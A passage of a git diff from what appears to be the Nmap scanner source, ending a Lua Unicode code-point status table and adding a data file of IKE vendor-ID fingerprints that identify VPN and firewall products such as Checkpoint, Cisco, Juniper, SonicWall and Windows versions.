+ -- NA <reserved-2FA1E>..<reserved-2FFFD>
+ -- <noncharacter-2FFFE>..<noncharacter-2FFFF>
+ -- NA <reserved-30000>..<reserved-3FFFD>
+ -- <noncharacter-3FFFE>..<noncharacter-3FFFF>
+ -- NA <reserved-40000>..<reserved-4FFFD>
+ -- <noncharacter-4FFFE>..<noncharacter-4FFFF>
+ -- NA <reserved-50000>..<reserved-5FFFD>
+ -- <noncharacter-5FFFE>..<noncharacter-5FFFF>
+ -- NA <reserved-60000>..<reserved-6FFFD>
+ -- <noncharacter-6FFFE>..<noncharacter-6FFFF>
+ -- NA <reserved-70000>..<reserved-7FFFD>
+ -- <noncharacter-7FFFE>..<noncharacter-7FFFF>
+ -- NA <reserved-80000>..<reserved-8FFFD>
+ -- <noncharacter-8FFFE>..<noncharacter-8FFFF>
+ -- NA <reserved-90000>..<reserved-9FFFD>
+ -- <noncharacter-9FFFE>..<noncharacter-9FFFF>
+ -- NA <reserved-A0000>..<reserved-AFFFD>
+ -- <noncharacter-AFFFE>..<noncharacter-AFFFF>
+ -- NA <reserved-B0000>..<reserved-BFFFD>
+ -- <noncharacter-BFFFE>..<noncharacter-BFFFF>
+ -- NA <reserved-C0000>..<reserved-CFFFD>
+ -- <noncharacter-CFFFE>..<noncharacter-CFFFF>
+ -- NA <reserved-D0000>..<reserved-DFFFD>
+ -- <noncharacter-DFFFE>..<noncharacter-DFFFF>
+ if x >= 0x2FA1E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xE00FF then
+ -- NA <reserved-E0002>..<reserved-E001F>
+ -- TAG SPACE..CANCEL TAG
+ -- NA <reserved-E0080>..<reserved-E00FF>
+ if x >= 0xE0002 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xE01EF then
+ -- VARIATION SELECTOR-17..VARIATION SELECTOR-256
+ if x >= 0xE0100 then
+ return {status='ignored'}
+ end
+ elseif x <= 0xFFFFF then
+ -- NA <reserved-E01F0>..<reserved-EFFFD>
+ -- <noncharacter-EFFFE>..<noncharacter-EFFFF>
+ -- <private-use-F0000>..<private-use-FFFFD>
+ -- <noncharacter-FFFFE>..<noncharacter-FFFFF>
+ if x >= 0xE01F0 then
+ return {status="disallowed"}
+ end
+ end
+ end,
+})
+
+return _ENV
diff --git a/nselib/data/ike-fingerprints.lua b/nselib/data/ike-fingerprints.lua
new file mode 100644
index 0000000..e799bf6
--- /dev/null
+++ b/nselib/data/ike-fingerprints.lua
@@ -0,0 +1,2473 @@
+local table = require 'table'
+
+--[[
+This is compiled list of known IKE vendor IDs.
+
+Most of the VIDs have been copied from ike-scan with permission from
+the original author, Roy Hills, so a big 'thank you' is in order.
+-- http://www.nta-monitor.com/wiki/index.php/Ike-scan_Documentation
+
+Unknown ids:
+ ab926d9ee113a0219557fcc54e52865c (Citrix NetScaler ?)
+ 5062b335bc20db32c0d54465a2f70100 (fortigate ?)
+ 4f4540454371496d7a684644 (linksys ?)
+ 9436e8d67174ef9aed068d5ad5213f187a3f8ba6000000160000061e (Netscreen 5XP running ScreenOS 4.0.r3)
+
+]]
+
+author = {"Jesper Kueckelhahn", "Roy Hills"}
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+
+
+fingerprints = {};
+
+--------------------------------------------------------------------------------
+--------------------------------------------------------------------------------
+-- Vendor ID Fingerprints
+--------------------------------------------------------------------------------
+--------------------------------------------------------------------------------
+
+
+
+--------------------------------------------------------------------------------
+-- Avaya
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Avaya',
+ version = nil,
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^4485152d18b6bbcc0be8a8469579ddcc'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Checkpoint
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = '4.1 Base',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000020000000000000000........'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = '4.1 SP1',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000000030000000000000000........'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = '4.1 SP2-SP6',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f0000000100000fa20000000000000000........'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = 'NG Base',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000013880000000000000000........'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = 'NG FP1',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f00000001000013890000000000000000........'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = 'NG FP2',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138a0000000000000000........'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = 'NG FP3',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138b0000000000000000........'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = 'NG AI R54',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138c0000000000000000........'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = 'NG AI R55',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138d0000000000000000........'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = 'NGX',
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f000000010000138d........00000000........'
+});
+
+-- Catch all Checkpoint
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Checkpoint VPN-1 / Firewall-1',
+ version = nil,
+ ostype = nil,
+ devicetype = 'security-misc',
+ cpe = nil,
+ fingerprint = '^f4ed19e0c114eb516faaac0ee37daf2807b4381f'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Cisco
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Cisco VPN Concentrator 3000',
+ version = '3.0.0',
+ ostype = 'pSOS+',
+ devicetype = 'security-misc',
+ cpe = 'cpe:/h:cisco:concentrator',
+ fingerprint = '^1f07f70eaa6514d3b0fa96542a500300'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Cisco VPN Concentrator 3000',
+ version = '3.0.1',
+ ostype = 'pSOS+',
+ devicetype = 'security-misc',
+ cpe = 'cpe:/h:cisco:concentrator',
+ fingerprint = '^1f07f70eaa6514d3b0fa96542a500301'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Cisco VPN Concentrator 3000',
+ version = '3.0.5',
+ ostype = 'pSOS+',
+ devicetype = 'security-misc',
+ cpe = 'cpe:/h:cisco:concentrator',
+ fingerprint = '^1f07f70eaa6514d3b0fa96542a500305'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Cisco VPN Concentrator 3000',
+ version = '4.0.7',
+ ostype = 'pSOS+',
+ devicetype = 'security-misc',
+ cpe = 'cpe:/h:cisco:concentrator',
+ fingerprint = '^1f07f70eaa6514d3b0fa96542a500407'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Cisco VPN Concentrator',
+ version = nil,
+ ostype = 'pSOS+',
+ devicetype = 'security-misc',
+ cpe = 'cpe:/h:cisco:concentrator',
+ fingerprint = '^1f07f70eaa6514d3b0fa96542a......'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Cisco',
+ version = nil,
+ ostype = 'IOS',
+ devicetype = 'security-misc',
+ cpe = 'cpe:/h:cisco',
+ fingerprint = '^3e984048'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Fortinet
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Fortinet FortiGate',
+ version = nil,
+ ostype = nil,
+ devicetype = 'Network Security Appliance',
+ cpe = 'cpe:/h:fortinet:fortigate',
+ fingerprint = '^1d6e178f6c2c0be284985465450fe9d4'
+});
+
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Fortinet FortiGate',
+ version = "v5",
+ ostype = "Fortigate v5",
+ devicetype = 'Network Security Appliance',
+ cpe = 'cpe:/h:fortinet:fortigate',
+ fingerprint = '^8299031757a36082c6a621de....'
+});
+
+--------------------------------------------------------------------------------
+-- FreeS/WAN
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Linux FreeS/WAN',
+ version = '2.00',
+ ostype = 'Linux',
+ devicetype = nil,
+ cpe = 'cpe:/a::freeswan:2.00',
+ fingerprint = '^4f45486b7d44784d42676b5d'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Linux FreeS/WAN',
+ version = '2.01',
+ ostype = 'Linux',
+ devicetype = nil,
+ cpe = 'cpe:/a::freeswan:2.01',
+ fingerprint = '^4f457c4f547e6e615b426e56'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Linux FreeS/WAN',
+ version = '2.02',
+ ostype = 'Linux',
+ devicetype = nil,
+ cpe = 'cpe:/a::freeswan:2.02',
+ fingerprint = '^4f456c6b44696d7f6b4c4e60'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Linux FreeS/WAN',
+ version = '2.03',
+ ostype = 'Linux',
+ devicetype = nil,
+ cpe = 'cpe:/a::freeswan:2.03',
+ fingerprint = '^4f45566671474962734e6264'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Linux FreeS/WAN',
+ version = '2.04',
+ ostype = 'Linux',
+ devicetype = nil,
+ cpe = 'cpe:/a::freeswan:2.04',
+ fingerprint = '^4f45704f736579505c6e5f6d'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Linux FreeS/WAN',
+ version = '2.05',
+ ostype = 'Linux',
+ devicetype = nil,
+ cpe = 'cpe:/a::freeswan:2.05',
+ fingerprint = '^4f457271785f4c7e496f4d54'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Linux FreeS/WAN',
+ version = '2.06',
+ ostype = 'Linux',
+ devicetype = nil,
+ cpe = 'cpe:/a::freeswan:2.06',
+ fingerprint = '^4f457e4c466e5d427c5c6b52'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Juniper
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = 'SSG-550M',
+ ostype = 'NetScreen OS 6.20',
+ devicetype = 'Firewall/VPN',
+ cpe = 'cpe:/h:juniper:ssg-550m:6.20',
+ fingerprint = '^2c9d7e81995b9967d23f571ac641f9348122f1cc1200000014060000'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper NetScreen',
+ version = 'NS-5GT',
+ ostype = 'NetScreen OS',
+ devicetype = 'Firewall/VPN',
+ cpe = 'cpe:/h:juniper:ns-5gt',
+ fingerprint = '^166f932d55eb64d8e4df4fd37e2313f0d0fd8451'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = 'NS-5GT',
+ ostype = 'NetScreen OS',
+ devicetype = 'Firewall/VPN',
+ cpe = 'cpe:/h:juniper:ns-5gt',
+ fingerprint = '^4a4340b543e02b84c88a8b96a8af9ebe77d9accc'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = 'NS-5XP',
+ ostype = 'NetScreen OS',
+ devicetype = 'Firewall/VPN',
+ cpe = 'cpe:/h:juniper:ns-5xp',
+ fingerprint = '^299ee8289f40a8973bc78687e2e7226b532c3b76'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = 'NS-5XP',
+ ostype = 'NetScreen OS',
+ devicetype = 'Firewall/VPN',
+ cpe = 'cpe:/h:juniper:ns-5xp',
+ fingerprint = '^64405f46f03b7660a23be116a1975058e69e8387'
+});
+
+
+-- 9436e8d67174ef9aed068d5ad5213f187a3f8ba6000000160000061e (Netscreen 5XP running ScreenOS 4.0.r3) ?
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = 'NS-5XP',
+ ostype = 'NetScreen OS',
+ devicetype = 'Firewall/VPN',
+ cpe = 'cpe:/h:juniper:ns-5xp',
+ fingerprint = '^9436e8d67174ef9aed068d5ad5213f187a3f8ba6'
+});
+
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^3a15e1f3cf2a63582e3ac82d1c64cbe3b6d779e7'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^47d2b126bfcd83489760e2cf8c5d4d5a03497c15'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^699369228741c6d4ca094c93e242c9de19e7b7c6'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^8c0dc6cf62a0ef1b5c6eabd1b67ba69866adf16a'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^92d27a9ecb31d99246986d3453d0c3d57a222a61'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^9b096d9ac3275a7d6fe8b91c583111b09efed1a0'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^bf03746108d746c904f1f3547de24f78479fed12'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^c2e80500f4cc5fbf5daaeed3bb59abaeee56c652'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^c8660a62b03b1b6130bf781608d32a6a8d0fb89f'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^f885da40b1e7a9abd17655ec5bbec0f21f0ed52e'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^2a2bcac19b8e91b426107807e02e7249569d6fd3'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^a35bfd05ca1ac0b3d2f24e9e82bfcbff9c9e52b5'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Juniper',
+ version = nil,
+ ostype = 'NetScreen OS',
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4865617274426561745f4e6f74696679386b0100' -- (HeartBeat_Notify + 386b0100)
+});
+
+
+--------------------------------------------------------------------------------
+-- KAME/racoon/IPSec Tools (for linux/BSD)
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'KAME/racoon/IPsec Tools',
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^7003cbc1097dbe9c2600ba6983bc8b35'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Mac OS X
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Apple ',
+ version = nil,
+ ostype = 'Mac OS X',
+ devicetype = nil,
+ cpe = 'cpe:/a:apple:macosx',
+ fingerprint = '^4d6163204f53582031302e78'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Apple ',
+ version = nil,
+ ostype = 'Mac OS X',
+ devicetype = nil,
+ cpe = 'cpe:/a:apple:macosx',
+ fingerprint = '^4df37928e9fc4fd1b3262170d515c662'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Microsoft
+-- http://msdn.microsoft.com/en-us/library/cc233476.aspx
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows 2000',
+ ostype = 'Windows 2000',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows:2000',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46100000002'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows XP',
+ ostype = 'Windows XP',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows:XP',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46100000003'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows Server 2003',
+ ostype = 'Windows Server 2003',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows:server2003',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46100000004'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows Vista',
+ ostype = 'Windows Vista',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows:vista',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46100000005'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows Server 2008',
+ ostype = 'Windows Server 2008',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows:server2008',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46100000006'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows 7',
+ ostype = 'Windows 7',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows:7',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46100000007'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows Server 2008 R2',
+ ostype = 'Windows Server 2008 R2',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows:server2008r2',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46100000008'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows 8',
+ ostype = 'Windows 8',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows:8',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46100000009'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows Server 2012',
+ ostype = 'Windows Server 2012',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows:server2012',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46100000010'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Microsoft',
+ version = 'Windows',
+ ostype = 'Windows',
+ devicetype = nil,
+ cpe = 'cpe:/o:microsoft:windows',
+ fingerprint = '^1e2b516905991c7d7c96fcbfb587e46.........'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Nortel Contivity / Nortel VPN router
+-- The last byte might be a version ?
+-- From ike-scan:
+--- 00000004, 00000005, 00000007, 00000009, 0000000a
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Nortel',
+ version = 'Contivity / VPN router',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^424e4553000000..'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- OpenPGP
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'OpenPGP',
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4f70656e504750'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- Openswan
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Openswan',
+ version = '2.2.0',
+ ostype = 'Linux 2.x',
+ devicetype = nil,
+ cpe = 'cpe:/o:linux:kernel:2.x',
+ fingerprint = '^4f4548724b6e5e68557c604f'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'Openswan',
+ version = '2.3.0',
+ ostype = 'Linux 2.x',
+ devicetype = nil,
+ cpe = 'cpe:/o:linux:kernel:2.x',
+ fingerprint = '^4f4572696f5c77557f746249'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- SafeNet
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SafeNet',
+ version = '8.0.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^47bbe7c993f1fc13b4e6d0db565c68e5010201010201010310382e302e3020284275696c6420313029000000'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SafeNet Remote',
+ version = '9.0.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^47bbe7c993f1fc13b4e6d0db565c68e5010201010201010310392e302e3120284275696c6420313229000000'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SafeNet Remote',
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^47bbe7c993f1fc13b4e6d0db565c68e5'
+});
+
+
+
+--------------------------------------------------------------------------------
+-- SonicWall
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SonicWall',
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^5b362bc820f60001' -- SonicWall 3060 ?
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SonicWall',
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^5b362bc820f60003'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SonicWall',
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^5b362bc820f60006'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SonicWall',
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^5b362bc820f60007' -- (Maybe NSA?, SonicOS Enhanced 4.2?)
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SonicWall',
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^404bf439522ca3f6'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SonicWall',
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^da8e937880010000' -- (Maybe TZ 170)
+});
+
+
+
+--------------------------------------------------------------------------------
+-- SSH IPSec Express
+--------------------------------------------------------------------------------
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 1.1.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^fbf47614984031fa8e3bb6198089b223'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 1.1.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^1952dc91ac20f646fb01cf42a33aee30'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 1.1.2',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^e8bffa643e5c8f2cd10fda7370b6ebe5'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 1.2.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^c1111b2dee8cbc3d620573ec57aab9cb'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 2.0.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^7f21a596e4e318f0b2f4944c2384cb84'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 2.1.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^2836d1fd2807bc9e5ae30786320451ec'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 2.1.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^a68de756a9c5229bae66498040951ad5'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 2.1.2',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^3f2372867e237c1cd8250a75559cae20'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 3.0.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^0e58d5774df602007d0b02443660f7eb'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 3.0.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^f5ce31ebc210f44350cf71265b57380f'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 4.0.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^f64260af2e2742daddd56987068a99a0'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 4.0.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^7a54d3bdb3b1e6d923892064be2d981c'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 4.1.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^9aa1f3b43472a45d5f506aeb260cf214'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 4.1.1',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^89f7b760d86b012acf263382394d962f'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 4.2.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^6880c7d026099114e486c55430e7abee'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 5.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^b037a21aceccb5570f602546f97bde8c'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
+ vendor = 'SSH Communications Security',
+ version = 'IPSec Express 5.0.0',
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^2b2dad97c4d140930053287f996850b0'
+});
+
+table.insert(fingerprints, {
+ category = 'vendor',
